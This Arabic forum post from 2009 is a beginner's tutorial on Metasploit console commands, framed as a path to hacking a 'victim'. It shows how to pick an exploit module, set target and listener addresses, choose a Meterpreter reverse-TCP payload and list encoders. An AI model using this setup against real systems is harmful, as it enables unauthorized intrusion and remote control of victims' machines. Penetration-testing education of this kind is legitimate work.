mitasploite طريق الاحتراف

**هيتفون** · 12-26-2009, 10:31 PM

كيف الاحباب و الله كنت مشغول شوي و لكن لقيت وقت و قلت اعمل شرح للاخوة لاداة الميتاسبلويت من اوامر الح المهم رح نبدا بالاسهل حتي نصل الي الاختراق رح نحاول نقسمها الي دروس انا كنت حملت بعض الدروس من اساسيات الخ المهم رح اترككم تستفيدون مع نبدا علي بركت الله

كود PHP:
show exploits

اظهار جميع ثغرات اداة الميتاسبلويت

كود PHP:
show payloads

اظهار جميع البايلود في مشروع الميتاسبلويت

كود PHP:
show auxiliary

يستخدم لاظهار ثغرات الفحص كـ فحص منافذ وبورتات مواقع و اجهزة ألخ

كود PHP:
show options

يستخدم لأظهار خيارات الثغرة المستخدمة

كود PHP:
use

يستخدم هذا الامر لأستخدام ثغرة ما كمثال .. use unix/***app/php_vbulletin_template

كود PHP:
set

يستخدم هذا الامر لتعديل خيارات ثغرة ما... انظر فوق ^_^ قلنا show options لأظهار خيارات الثغرة اما هنا لتعديل خيارات ثغرة ما او بالاصح ادخال الخيارات الى الثغرة من اي بي وبورت الى ما لذلك

مثال عليها .. من خيارات او شروط الثغرة ان تضع الاي بي المستهدف من موقع او جهاز وان تضع البروت ... يوجد غير هذان الخياران لكن هذا ليس موضوعنا وانما كيف التعديل على خيارات ثغرة ما ... الامر يكون هكذا
البورت المستهدف يرمز بهذا RPORT
بورت جهازنا لوصول التبليغ او اقصد بنجاح الثغرة والتحكم من جهازنا يرمز له LPORT
الاختلاف في كلمة L وكلمة R
عندما تشاهد هذه الرموز فوق تبدأ بـ L فأعلم انها تتكلم عنك واما اذا بدأت بـR فانها تتلكم عن الضحية
الامر يكون بالتعديل على خيارات الثغرة بهذا الامر
set RPORT 9999
هكذا بنكون عدلنا على الثغرة ووضعنا اي بي الهدف اما اذا قلنا كذا
set LHOST 129.168.1.100
كذا بنكون ادخلنا اي بي جهازنا في خيارات الثغرة لكي نتنصت عليه من النت كات او غيره
الان الاوامر جاهزة كذا

الآن لنفرض تريد اختيار بايلود معينة والنفرض بايلود الميتربريتر القوية .. ان شاء الله بنتطرق للبايلود وشرحها ووظيفتها واستعمالاتها

الان نرجع لموضوعنا ..يكون الامر هكذااا
set PAYLOAD windows/meterpreter/reverce_tcp

وبأمكانك تغيير البايلود التي واسمائها موجودة عن طريق الامر السابق

كود PHP:
show payloads

كود PHP:
show encoders

لأظهار ثغرات التشفير .. ليس هكس وانما تشفيرات من نوع قوي وفعال وايضا عن صنع اي بايلود فأنه يتم صناعته مشفر ولذلك ايضا يوجد هذه الانواع encoders للتشفير اكثر واكثر

الي هنا انتهينا من الاساسيات و انشاء الله افدتكم معي الموضوع منقول للافادة و حملته من زمن و نسيت صاحبه اسف

ارجو من الاخوة التقييم